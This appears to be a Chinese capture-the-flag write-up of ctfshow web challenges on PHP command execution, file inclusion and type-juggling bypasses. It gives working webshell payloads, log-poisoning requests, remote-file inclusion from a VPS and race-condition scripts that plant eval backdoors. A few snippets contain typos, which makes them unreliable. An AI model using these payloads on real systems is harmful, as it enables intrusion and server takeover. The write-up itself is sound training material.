PHP FFI(Foreign Function Interface)是 PHP 7.4 及以上版本引入的一个强大功能。它允许 PHP 代码直接调用 C 语言函数,从而实现了 PHP 与 C 语言的高效交互。这为 PHP 开发者提供了一种利用 C 语言的高性能和底层操作系统功能的方式。

payload:

Text Only
1
2
3
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

通过执行目录中的 /readflag 程序并将其输出重定向到文件 1.txt中(因为只是执行的话没有回显)

执行一下

image-20241130011301444

看到有回显应该是成功了,访问一下1.txt

image-20241130011352138

由于当前用户权限不足我们是不能直接读flag36x.php文件中的内容的,只能通过readflag(脚本里面会进行提权)来读

web118

原文地址:https://blog.csdn.net/Myon5/article/details/140145005

输入数字和小写字母,回显 evil input

img

查看源码,发现这里会将提交的参数 code 传给 system 函数

img

使用 burpsuite 抓包进行单个字符的模糊测试 fuzz:

img

发现过滤掉了数字和小写字母以及一些符号,下面框起来的部分是可用的

img

结合题目提示:flag 在 flag.php

img

那么我们就需要构造出命令去读取 flag.php

我们先来了解一下 Linux 的内置变量 在 Linux 系统中,有许多内置变量(环境变量)用于配置系统行为和存储系统信息。

(1)$BASH

描述:指向当前使用的Bash解释器的路径。 示例:/bin/bash 用途:用于确定正在使用的Bash版本和路径。

(2) $PATH

描述:存储一系列路径,这些路径用于查找可执行文件,当你在命令行中输入命令时,系统会在这些路径中查找对应的可执行文件。 示例:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 用途:影响命令的查找和执行,可以添加自定义脚本或程序的路径。

(3)$HOME

描述:当前用户的主目录路径。 示例:/home/username 用途:表示当前用户的主目录,通常用于存储用户配置文件和个人数据。

(4)$PWD

描述:当前工作目录(Present Working Directory)。 示例:/home/username/projects 用途:表示当前的工作目录路径,常用于脚本和命令中获取或显示当前目录。

(5)$USER

描述:当前登录的用户名。 示例:username 用途:表示当前用户的名称,常用于显示或检查用户信息。

(6)$SHELL

描述:当前用户的默认shell。 示例:/bin/bash 用途:表示用户登录时使用的默认shell路径。

(7)$UID

描述:当前用户的用户ID。 示例:1000(普通用户),0(root用户) 用途:标识当前用户的唯一ID。

(8)$IFS

描述:内部字段分隔符(Internal Field Separator),用于分割输入的字段,默认为空格、制表符和换行符。 示例:默认值为 用途:影响脚本中的字段分割,常用于处理输入和解析文本。

此外还有很多的内置变量:

img

接下来我们需要知道 Bash 变量的切片,与 python 的切片类似,目的还是从指定位置开始提取子字符串,用法:${VAR:offset:length},看例子:

Text Only
${PWD:1:2}

提取从第二个字符开始的两个字符,即 ro,在 Bash 中,字符串切片的索引也是从 0 开始的。

img

如果只填一个参数,会默认从指定的位置开始提取到字符串的末尾:

Text Only
${PWD:3}

img

简单测一下我们就可以看出波浪号的效果:从结尾开始取

img

但是这里数字被过滤了,因此我们使用大写字母绕过:

可以发现任意的大小写字母与数字 0 等效

img

不难想到这里的 $PWD 应该是 /var/www/html(网页服务所在的常见路径);

而 $PATH 的结尾应该也是 /bin(这个在前面我们已经测试过了)。

img

因此我们可以构造出 nl 命令来读取 flag.php,由于 ? 可用,因此我们可以进行通配,绕过字母的过滤,构造 payload:

Text Only
${PATH:~Q}${PWD:~Q} ????.???

img

当然题目还给了其他 payload:

Text Only
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???

在Bash中,${#var} 的语法用于获取变量 var 的长度(即字符数)。

这种形式可以应用于任何变量,无论是字符串变量还是环境变量。

我们知道 ${HOME} 是 /root,因此 ${#HOME} 就是 5。

img

以此类推,最终将这些数字应用到切片中去,绕过对数字的过滤,构造出我们想要执行的命令。


文件包含

以PHP为例,常用的文件包含函数有以下四种include(),require(),include_once(),require_once()

Web78

php伪协议

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 10:52:43
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

payload:

?file=data://text/plain,<?php system("cat flag.php")?>

查看源代码,得到flag

image-20241121192438056

web79

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:10:14
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

这题相对于上一题会将file中的php替换为???

我们可以通过base64进行绕过

Text Only
?file=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=

or

Text Only
1
2
3
?file=data://text/plain,<?=system('tac flag*');?> 

?file=data://text/plain,<?Php echo `tac f*`;?>

or

远程加载

加载robots.txt,发现可以回显

在自己vps上创建1.txt,内容如下 <?php system("tac flag.php");?>

起一个http服务,加载 url/?file=http://x.x.x.x:7001/1.txt

or

input协议 大小写绕过

payload:

Text Only
1
2
3
POST /?file=Php://input HTTP/1.1

<?Php system("cat flag.php");?>

web80

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

data协议被ban了

可以用日志注入

Text Only
1
2
3
4
5
6
7
8
9
GET /?file=/var/log/nginx/access.log HTTP/1.1
Host: 4e9bb3c0-1021-427e-81a3-42e5e6e13c39.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0<?php eval($_GET[2]);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: UM_distinctid=17ffcdc88eb73a-022664ffe42c5b8-13676d4a-1fa400-17ffcdc88ec82c
Connection: close

写入一句话木马

image-20241121201547420

连webshell工具或者直接get传参

Text Only
1
2
3
?file=/var/log/nginx/access.log&2=system('ls /var/www/html');phpinfo();

?file=/var/log/nginx/access.log&2=system('tac /var/www/html/fl0g.php');phpinfo();

Or

input协议 大小写绕过

payload:

Text Only
1
2
3
POST /?file=Php://input HTTP/1.1

<?Php system("cat flag.php");?>

image-20241121202826975

web81

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 15:51:31
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

:被ban了

用不了上题的input,但是还是可以用日志注入的

写入木马

image-20241121203836225

查flag

image-20241121204644174

Web82

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 19:34:45
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
什么是session.upload_progress?

这是一道关于利用session.upload_progress进行文件包含利用的题目

详看:利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户

or bp方法:CTF | 天下武功唯快不破之条件竞争漏洞 - FreeBuf网络安全行业门户

poc1

Python
from requests import get, post
from io import BytesIO
from threading import Thread
from urllib.parse import urljoin

URL = 'http://20caa3d5-f3fe-4b17-ba5a-df917a1146ab.challenge.ctf.show/'
PHPSESSID = 'shell'


def write():
    code = "<?php file_put_contents('/var/www/html/shell.php', '<?php @eval($_GET[1]);?>');?>"
    data = {'PHP_SESSION_UPLOAD_PROGRESS': code}
    cookies = {'PHPSESSID': PHPSESSID}
    files = {'file': ('xxx.txt', BytesIO(b'x' * 10240))}
    while True:
        post(URL, data, cookies=cookies, files=files)


def read():
    params = {'file': f'/tmp/sess_{PHPSESSID}'}
    while True:
        get(URL, params)
        url = urljoin(URL, 'shell.php')
        code = get(url).status_code.real
        print(f'{url} {code}')
        if code == 200:
            exit()


if __name__ == '__main__':
    Thread(target=write, daemon=True).start()
    read()

poc2

PHP
import requests
import io
import threading

url='http://9a77fcb3-6f3c-4bd6-a247-07bfe6766509.challenge.ctf.show:8080/'
sessionid='ctfshow'
data={
    "1":"file_put_contents('/var/www/html/jiuzhen.php','<?php eval($_POST[3]);?>');"
}
#这个是访问/tmp/sess_ctfshow时,post传递的内容,是在网站目录下写入一句话木马。这样一旦访问成功,就可以蚁剑连接了。
def write(session):#/tmp/sess_ctfshow中写入一句话木马。
    fileBytes = io.BytesIO(b'a'*1024*50)
    while True:
        response=session.post(url,
            data={
            'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
            },
            cookies={
            'PHPSESSID':sessionid
            },
            files={
            'file':('ctfshow.jpg',fileBytes)
            }
            )

def read(session):#访问/tmp/sess_ctfshow,post传递信息,在网站目录下写入木马。
    while True:
        response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,
            cookies={
            'PHPSESSID':sessionid
            }
            )
        resposne2=session.get(url+'jiuzhen.php');#访问木马文件,如果访问到了就代表竞争成功
        if resposne2.status_code==200:了
            print('++++++done++++++')
        else:
            print(resposne2.status_code)

if __name__ == '__main__':

    evnet=threading.Event()
    #写入和访问分别设置5个线程。
    with requests.session() as session:
        for i in range(5):
            threading.Thread(target=write,args=(session,)).start()
        for i in range(5):
            threading.Thread(target=read,args=(session,)).start()

    evnet.set()

image-20241123014155194

getshell

image-20241123014312621

直接查flag

利用条件

  1. 存在文件包含漏洞
  2. 知道session文件存放路径,可以尝试默认路径
  3. 具有读取和写入session文件的权限

这两个脚本理论上适用于web82-web86

web83

web83的开篇设置了session_unset();session_destroy();

session_unset():释放当前在内存中已经创建的所有\(_SESSION变量,但不删除session文件以及不释放对应的。 session_destroy():删除当前用户对应的session文件以及释放sessionid,内存中的\)_SESSION变量内容依然保留。

就是释放和清除了前面所有session变量和文件,但是我们的解题思路是竞争上传那一瞬间创建的session,所以不影响。

web84

加上了一个system(rm -rf /tmp/*);,但是因为本来session.upload_progress.cleanup = on,就会清空对应session文件中的内容,这里加上删除,对竞争的影响不大。(但是可能需要增加一些线程)

web85

添加了一个内容识别,如果有<就die,依旧可以竞争。

web86

dirname(FILE)表示当前文件的绝对路径。set_include_path函数,是用来设置include的路径的,就是include()可以不提供文件的完整路径了。 include文件时,当包含路径既不是相对路径,也不是绝对路径时(如:include(“test.php”)),会先查找include_path所设置的目录。 脚本里用的是完整路径,不影响竞争。

web82-86:参考https://blog.csdn.net/m0_48780534/article/details/125410757

web87

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: [email protected]
# @link: https://ctfer.com

*/

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
    highlight_file(__FILE__);
}

使用 file_put_contents 函数将经过处理后的内容写入到文件中。写入的内容是先拼接了一个 <?php die('大佬别秀了');?> 字符串,用于在后续如果有人直接访问写入后的文件时,防止文件内容被直接执行而显示一些提示信息,然后再拼接上从 $_POST 中获取的 $content 变量的值。

这道题需要用到php://filter

php://filter的使用

原文:谈一谈php://filter的妙用 | 离别歌

php://filter之前最常出镜的地方是XXE。由于XXE漏洞的特殊性,我们在读取HTML、PHP等文件时可能会抛出此类错误parser error : StartTag: invalid element name 。其原因是,PHP是基于标签的脚本语言,<?php ... ?>这个语法也与XML相符合,所以在解析XML的时候会被误认为是XML,而其中内容(比如特殊字符)又有可能和标准XML冲突,所以导致了出错。

那么,为了读取包含有敏感信息的PHP等源文件,我们就要先将“可能引发冲突的PHP代码”编码一遍,这里就会用到php://filter。

php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。比如,我们可以用如下一行代码将POST内容转换成base64编码并输出:

Text Only
readfile("php://filter/read=convert.base64-encode/resource=php://input");

如下:

QQ截图20160724234603.png

所以,在XXE中,我们也可以将PHP等容易引发冲突的文件流用php://filter协议流处理一遍,这样就能有效规避特殊字符造成混乱。

如下,我们使用的是php://filter/read=convert.base64-encode/resource=./xxe.php

QQ截图20160724235335.png


回归正题

我们审一下这道题目的代码

相比上一道题这题增加了一个post参数,且会将传入的参数进行拼接后写入文件

PHP
 $content = $_POST['content'];
 file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

这道题在$content$file之间拼接了一个<?php die('大佬别秀了');?>,导致即使我们成功写入一句话,也执行不了

我们如何绕过这个die呢?

其实我们可以通过php://filter流的base64-decode方法来去除这个die

因为php在解码base64编码的时候会先将不属于base64中的字符去除,再进行转换,如下

PHP
1
2
3
<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);

所以,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、、(、) 、'空格等字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpdie”和我们传入的其他字符。

”phpdie“一共6个字符,由于base64算法解码时是4个byte一组,所以给他增加2个“a”一共8个字符。这样,"phpdie"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。

同时由于会对传入的file进行url解码,所以需要对传入的file进行两次url编码

warning!!!url编码需要连同英文字符一起进行转换,可以借助hackbar强制进行转换(找了很久)

poc:

Text Only
1
2
3
原文:file=php://filter/write=convert.base64-decode/resource=shell.php

file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30
Text Only
1
2
3
原文:content=<?php system('cat fl0g.php');?>

content=aaPD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTs/Pg==

访问shell.php,得到flag

其实还可以通过其他编码来进行绕过如rot13

更多file_put_content和死亡·杂糅代码之缘 - 先知社区

web88

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: [email protected]
# @link: https://ctfer.com

 */
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

这题过滤了很多字符但是没有过滤:、/、;

poc

Text Only
?file=data://text/plain;base64,PD89c3lzdGVtKCJ0YWMgZmwwZy5waHAiKTsgPz4

web116

拿到题目环境,发现是个视频,下载视频用binwalk扫一下

image-20250107142748584

提取图片,发现是源码

image-20250107142550734

直接get传参读flag

Text Only
?file=flag.php

image-20250107143725806

web117

web87的后续 死亡绕过

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 18:16:59

*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

这题过滤了一些php的协议和转换器

但是没过滤掉filter和convert

我们可以考虑用filter搭配convert.iconv.*过滤器来构造出payload

参考文章:详解php://filter以及死亡绕过_filter绕过过滤-CSDN博客

PHP
1
2
3
4
<?php
$enc = iconv("UCS-2BE","UCS-2LE", '<?php @eval($_GET[1]);?>');
echo $enc;
?>

首先我们先将一句话木马从UCS-2BE转换成UCS-2LE

Text Only
?<hp pe@av(l_$EG[T]1;)>?

接着构造payload将一句话木马从UCS-2LE转换回UCS-2BE,同时破坏掉<?php die();?>

效果如下

image-20250108125928677

payload:

Text Only
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php
contents=?<hp pe@av(l_$EG[T]1;)>?

成功写入一句话木马,拿到flag

php特性

参考网站:

php一些特性函数(ctfshow)

web89

PHP
<?php

/*
\# -*- coding: utf-8 -*-
\# @Author: h1xa
\# @Date:  2020-09-16 11:25:09
\# @Last Modified by:  h1xa
\# @Last Modified time: 2020-09-18 15:38:51
\# @email: [email protected]
\# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
  $num = $_GET['num'];
  if(preg_match("/[0-9]/", $num)){
    die("no no no!");
  }
  if(intval($num)){
    echo $flag;
  }
}

这题要用到数组绕过的特性来绕过preg_match的匹配

preg_match函数:

preg_match函数是用于完成字符串的正则匹配的函数,如果找到一个匹配的,就返回1,否则就返回0。 preg_match只能处理字符串,如果传入的值是数组的话,就会报错,从而返回false,绕过了正则匹配。

intval函数:
  • 定义:intval()函数是 PHP 中的一个内置函数。它用于获取变量的整数值。其基本语法是intval(\(var, (base = 10)。其中\)var是要转换的变量,\)base是可选参数,用于指定进制(当$var`是字符串时),默认是十进制。

  • 特性:

1.如果变量本身是整数,intval()函数会返回变量本身的值。

2.当变量是字符串时,intval()会尝试将字符串转换为整数。它会从字符串的开头提取数字部分,直到遇到非数字字符为止。

3.如果字符串以非数字字符开头,intval()会返回 0。

4.当第二个参数$base被指定时,intval()可以将字符串按照指定的进制转换为十进制整数。

  • 注意事项

1.对于浮点数,intval()会直接截断小数部分,而不是进行四舍五入。

2.当处理超出整数范围的值时(在 PHP 中,根据平台和配置不同,整数范围有所不同),可能会出现意外的结果。例如,在 32 位系统上,int类型的最大值是2147483647,如果intval()处理的值超过这个范围,可能会导致数据丢失或者不正确的转换。

这道题直接用数组绕过

payload:

Text Only
?num[]=1

web90

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: [email protected]
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

设置$base = 0能提供一种根据字符串内容自动判断进制来进行转换的灵活方式。

这道题可以利用intval的特性和php强比较的特性

当变量是字符串时,intval()会尝试将字符串转换为整数。它会从字符串的开头提取数字部分,直到遇到非数字字符为止。

image-20241130160847046

web91

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com

*/

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

这题考察的是一个正则表达式的理解和绕过

这两个正则表达式都是用来匹配字符串php的

/^php$/im 的含义
  • ^:表示字符串的开始。
  • php:表示匹配字符 php
  • $:表示字符串的结束。
  • i:表示不区分大小写。
  • m:表示多行模式(multi-line)。

要得到flag,我们需要让第一个判断为true,第二个判断为false

而第二个正则表达式与正则表达式一的区别在于他没有进行多行匹配

那我们只需要通过换行符就可以实现绕过

payload:

Text Only
cmd=%oaphp

web92

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

这题与90题的区别就在于这里进行的是弱类型的比较

在弱类型的比较里面我们不能通过增加字母的方式绕过,如下

Text Only
"123aa" == 123
"123aa" === 123aa

我们可以通过其它方法来绕过

如通过intval函数的特性,我们可以通过输入转换成其他进制的4476来进行绕过(前面说过当base=0时会自动进行进制的转换)。

payload:

Text Only
HEX: 0x117c //十进制前面补0x
OCT: 010574 //八进制前面补0

或者

官方题解

intval()函数如果\(base为0则\)var中存在字母的话遇到字母就停止读取,但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476,我们就可以构造 4476e123

web93

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
Text Only
preg_match("/[a-z]/i", $num)

相比上一题这题增加了一个字母的匹配,让我们不能用上一题e绕过的方法和十六进制绕过的方法

但是八进制绕过依旧是可行的,因为他不包含字母

payload:

Text Only
num=010574

web94

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}
Text Only
!strpos($num, "0")

这题增加了一个条件,同时判断也变成了强判定,这里的strpos()函数用于查找字符串在另一个字符串中首次出现的位置。

也就是这里我们需要让首位不等于0才能使这个判断为false

strops函数绕过:

对于strpos()函数,我们可以利用换行进行绕过(%0a) payload:?num=%0a010574 也可以小数点绕过 payload:?num=4476.0 因为intval()函数只读取整数部分 还可以八进制绕过(%20是空格的url编码形式) payload:?num=%20010574 ?num= 010574 // 前面加个空格 ?num=+010574 ?num=+4476.0

我们选用其中一个绕过方法即可

如空格绕过

Text Only
?num=%20010574

这题因为用的是强判定也可以用这种方法

Text Only
?num=4476.0

这种方法就是使其变为浮点型从而使强判定为false,绕过第一个判定

web95

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

这题和上一题的区别就是改为了弱判定

所以上一题的方法二就用不了了,我们用方法一即可

payload:

Text Only
?num=%20010574

web96

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}

我们知道./指的的是当前目录,所以直接用./绕过即可,不影响文件读取

payload:

Text Only
?u=./flag.php

or

Text Only
u=/var/www/html/flag.php
?u=php://filter/read=convert.base64-encode/resource=flag.php

web97

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

这是一道md5强比较的题目,绕过姿势挺多

我们可以通过简单的数组绕过

Text Only
a[]=1&b[]=2

虽然会报错但是能拿到flag

image-20241130204752518

web98

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com

*/

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

CTFSHOW web入门刷题 web98-112_ctfshow web98-CSDN博客

这道题用到了三元运算符

首先判断是否GET传入了数据,如果传入了则将POST的地址赋值给了GET

其实就是用POST替换GET

如果GET存在flag字段的值则会继续替换,最后替换成SERVER

这里我们只要GET随便传入一个数据让post替换get

然后post传入 HTTP_FLAG=flag

这样最后highlight_file就能去显示$flag

这道题一开始没看懂代码,看了上面大佬的解释感觉其实也不难

image-20241201230323939

web99

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    ($_GET['n'], $_POST['content']);
}

?>

这道题首先是创建了一个数组,然后通过循环写入数字(范围0~0x36d)

image-20241202141710538

接着对传入的n进行判断,判断其是否在数组中,若存在则以n为名字创建一个文件并写入content的内容

我们需要知道的是:

在弱类型中当php字符串和int比较时,字符串会被转换成int,所以 字符串中数字后面的字符串会被忽略。题目中的in_array没有设置type,我们可以输入字符串5.php(此处数字随意,只要在rand(1,0x36d)之间即可),转换之后也就是5,明显是在题目中生成的数组中的

所以我们通过传入content写马后,通过蚁剑连接或者直接命令执行即可得到flag

image-20241202141941439

web100

PHP
<?php

/*
\# -*- coding: utf-8 -*-
\# @Author: h1xa
\# @Date:  2020-09-16 11:25:09
\# @Last Modified by:  h1xa
\# @Last Modified time: 2020-09-21 22:10:28
\# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
  if(!preg_match("/\;/", $v2)){
    if(preg_match("/\;/", $v3)){
      eval("$v2('ctfshow')$v3");
    }
  }

}



?>

这题其实就是一道简单的拼接题

Text Only
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

这里看起来像是要求v1,v2,v3都为数字,实际上只需v1为数字则会将v1赋给v0,而不会再执行后面的语句

所以我们这里只需要使v1为数字即可

payload:

Text Only
?v1=21&v2=var_dump($ctfshow)/*&v3=*/;

或者用命令

COBOL
?v1=1&v2=system('ls')/*&v3=*/;

image-20241202145637866

将0x2d更换成-得到flag

web101

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-22 00:26:48
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }

}

?>

题目描述:修补100题非预期,替换0x2d

